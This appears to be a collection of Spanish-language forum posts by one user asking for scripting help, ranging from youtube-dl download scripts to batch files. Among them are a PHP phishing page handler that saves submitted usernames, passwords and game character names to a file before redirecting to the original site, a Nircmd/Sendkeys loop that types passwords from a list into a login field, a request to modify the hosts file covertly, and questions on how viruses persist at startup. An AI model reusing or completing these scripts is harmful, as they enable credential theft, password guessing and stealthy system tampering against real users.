cookiefile="/tmp/cookies-$( date +%s.%N ).txt"

url=$( youtube-dl --cookies $cookiefile -g $FILE1 )

NAME=$(youtube-dl -t --get-filename $FILE1)


aria2c --load-cookies $cookiefile -k1M -x4 -c $url -o "$NAME"

rm -f $cookiefile


fi

done

lo que hace es que las descargas de youtube se aceleran con aria2 xD

Código [Seleccionar] Expandir

Public X As Integer
Private Sub Form_Load()
Timer1.Interval = 150
End Sub

Private Sub Timer1_Timer()
X = X + 1
If X = 3 Then
INGRESAR.Show
Unload Me
End If
End Sub


alguien me podria explicar para que sirve esto en el codigo

Código [Seleccionar] Expandir

X = X + 1
If X = 3 Then

solo quiero saber para que sirve .el codigo si funciona pero quiero saber que significa esa parte

mi pregunta es como se inician los virus en el sistema si me podrian decir por favor
solo se que algunos virus se inician en run y current version del registro ay alguna otra forma de iniciarlos ?

tengo una duda en este codigo  por @echo en todas las lineas ?¿ que no se puede hacer con puros echos ?

Código (DOS) [Seleccionar] Expandir

@echo off
title Memoria Flash .
color 1E
@echo ----------------------------------------------
@echo ---- REPARACION DE FICHERO ----
@echo ----------------------------------------------
@echo Status : Cambiando Atributo de Carpetas
Attrib /d /s -r -h -s *.*
@echo ----------------------------------------------
@echo Status : Eliminado Accesos Directos
if exist *.lnk del *.lnk
@echo ----------------------------------------------
@echo Status : Eliminado Autorun
if exist autorun.inf del autorun.inf
@echo ----------------------------------------------
@echo Status : Cambiando propiedades
attrib -a -s -h -r /s /d
@echo ----------------------------------------------
@echo Status : Operacion Terminada
@echo ----------------------------------------------
@echo ----------------------------------------------
@echo TERMINADO
@echo ----------------------------------------------
@echo ----------------------------------------------
@echo By sfl
pause

alguna forma de modificar el archivo host con bat ?¿ de forma oculta espero me puedan ayudar

o si me pueden explicar este codigo mejor please

Código (DOS) [Seleccionar] Expandir

@echo off
color a
title Creador de hosts
color a
cd %windir%\system32\drivers\etc
echo ? ? ? ? ? ? ? ? ? ?
echo ("`-''-/").___..--''"`-._
echo `6_ 6 ) `-. ( ).`-.__.`)
echo (_Y_.)' ._ ) `._ `. ``-..-'
echo _..`--'_..-_/ /--'_.' ,'
echo (il),-'' (li),' ((!.-'
echo Antes de empezar, desea borrar el archivo hosts?
set /p respuesta=
if %respuesta%== si del hosts
if %respuesta%== no goto no
:no
echo Escriba su ip
set /p ip=
echo Escriba su web
set /p pagina=
echo Los cambios en el archivo hosts son los siguientes: %ip% %pagina%, pulse una tecla para continuar
pause>nul
echo %ip% %pagina% >> hosts
exit

lo que quiero saber es como se escribe lo que pongo en el menu en el host

mi duda esta entre esto

Código (DOS) [Seleccionar] Expandir

set /p ip=
echo Escriba su web
set /p pagina=
echo Los cambios en el archivo hosts son los siguientes: %ip% %pagina%, pulse una tecla para continuar
pause>nul
echo %ip% %pagina% >> hosts
exit

me a surgido una duda con el nircmd

Set X=179
Set Y=139

como ve la posicion de los txtbox ?¿ XD me estoy basando en este codigo

Código [Seleccionar] Expandir

@Echo off

REM Aqui seteas la posicion del cursor del mouse
Set X=179
Set Y=139

For /F "Tokens=*" %%# in ('resultado.txt') Do (
     Nircmd Setcursor %X% %Y%
     Nircmd wait 500
     Sendkeys %%#
     Nircmd wait 500
)

Echo: Se han probado todas las contrasenas.

Pause
Exit

Solucionado

ay alguna de forma de que esto

Código [Seleccionar] Expandir

Open "C:\nombre.bat" For Append As #1
tenga un nombre aletorio asi como en bath

Código [Seleccionar] Expandir

C:\nombre.bat
espero me entiendan xD

vagando por internet aye algo muy interesante bajar video en flv y convertirlo a mp3
http://lihuen.linti.unlp.edu.ar/index.php?title=Instalaci%C3%B3n_y_uso_youtube-dl
y si funciona en linux y windows pero queria saber si ay manera de crear un script en bath de windows para automotizar la tarea

Código [Seleccionar] Expandir

#!/bin/bash

path=$1
archivos=(`find "$path" -iname '*.flv'`)

if [ ! -e /tmp/Musica ]; then
mkdir /tmp/Musica
fi


for a in ${archivos[@]}; do
echo "Título de la canción: "
read titulo
ffmpeg -i "$a" "$titulo".mp3
mv "$titulo".mp3 /tmp/Musica/
done

se podra hacer en windows con simbolo de sistema ?

yo le estoy asiendo de otra forma pero la verdad viene siendo lo mismo :S

Código [Seleccionar] Expandir

youtube-dl -o %Random%.flv http://www.youtube.com/watch?v=Myn7ghLQltI
ffmpeg.exe -i C:\%Random% C:\musica\sorros.mp3

no se me ocurre que hacer

Código [Seleccionar] Expandir

<?
#xd.php
// Asigna el valor a las variables del usuario y contraseña
$usuario = $_POST['Usuario'];
$contraseña = $_POST['Contrasena'];
$character = $_POST['Character'];
//Asigna el valor a la variable donde se guarda el usuario contraseña y character
$guardame = fopen('leeme.html','a+');
fwrite($guardame,
"<br/><b>Usuario:</b>".$usuario.
"<br/><b>Contrasena:</b>".$contraseña." ");
"<br/><b>Character:</b>".$character." ");

fclose($guardame);
//Redirecciona a la web original (pazzur)
echo "<meta http-equiv='refresh' content='1;url=http://8c5d92d5.any.gs'>"
?>

dice que tengo un error en esta linea :S no entiendo xd

Código [Seleccionar] Expandir

"<br/><b>Character:</b>".$character." ");